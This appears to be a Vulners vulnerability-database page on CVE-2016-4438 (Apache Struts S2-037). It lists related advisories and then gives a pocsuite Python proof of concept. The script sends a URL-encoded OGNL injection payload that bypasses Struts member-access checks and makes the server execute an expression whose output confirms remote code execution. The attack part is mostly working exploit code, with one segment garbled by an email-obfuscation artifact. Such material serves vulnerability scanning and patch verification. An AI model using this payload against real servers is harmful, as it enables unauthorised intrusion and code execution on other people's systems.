| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| CVE-2016-4438 | 6 Dec 202313:26 | – | circl | |
| Apache Struts2 Remote Code Execution Vulnerability (CNVD-2016-04040) | 16 Jun 201600:00 | – | cnvd | |
| Apache Struts REST plugin Remote Code Execution (CVE-2016-4438) | 23 Jun 201600:00 | – | checkpoint_advisories | |
| CVE-2016-4438 | 4 Jul 201622:00 | – | cve | |
| CVE-2016-4438 | 4 Jul 201622:00 | – | cvelist | |
| Apache Struts REST Plugin OGNL Expression Handling RCE | 20 Apr 201800:00 | – | dsquare | |
| K15168792: Apache Struts 2 vulnerability CVE-2016-4438 | 21 Feb 202318:35 | – | f5 | |
| SOL15168792 - Apache Struts 2 vulnerability CVE-2016-4438 | 24 Jun 201600:00 | – | f5 | |
| Security Bulletin: Multiple Vulnerabilities in Struts affect IBM InfoSphere Information Server | 16 Jun 201813:42 | – | ibm | |
| Arbitrary code execution in Apache Struts 2 | 14 May 202200:54 | – | github |
#!/usr/bin/env python
# coding: utf-8
import os
import random
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
class TestPOC(POCBase):
vulID = '91857' # ssvid
version = '1.0'
author = ['']
vulDate = ''
createDate = '2016-06-15'
updateDate = '2016-06-15'
references = ['http://www.seebug.org/vuldb/ssvid-91857']
name = 'Struts2 方法调用远程代码执行漏洞(S2-037)'
appPowerLink = 'http://struts.apache.org/'
appName = 'Apache Struts'
appVersion = ''
vulType = 'Code Execution'
desc = '''
'''
samples = ['']
install_requires = ['']
def _attack(self):
return self._verify()
def _verify(self):
result = {}
# payload = "http://172.16.176.226:8080/struts2-rest-showcase/orders/3"
rand_num1 = random.randint(300, 3000)
rand_num2 = random.randint(600, 6000)
result_str = str(rand_num1) + str(rand_num2)
payload = "/%28%23yautc5yautc%3D%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%29%3F"
payload += "@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29.print%28"
payload += "%23parameters.t1[0]%2B%23parameters.t2[0]%29%3Aindex.xhtml?t1={}&t2={}".format(rand_num1,rand_num2)
payload_url = self.url + payload
response = req.get(payload_url)
if result_str in response.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = response.url
#Write your code here
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation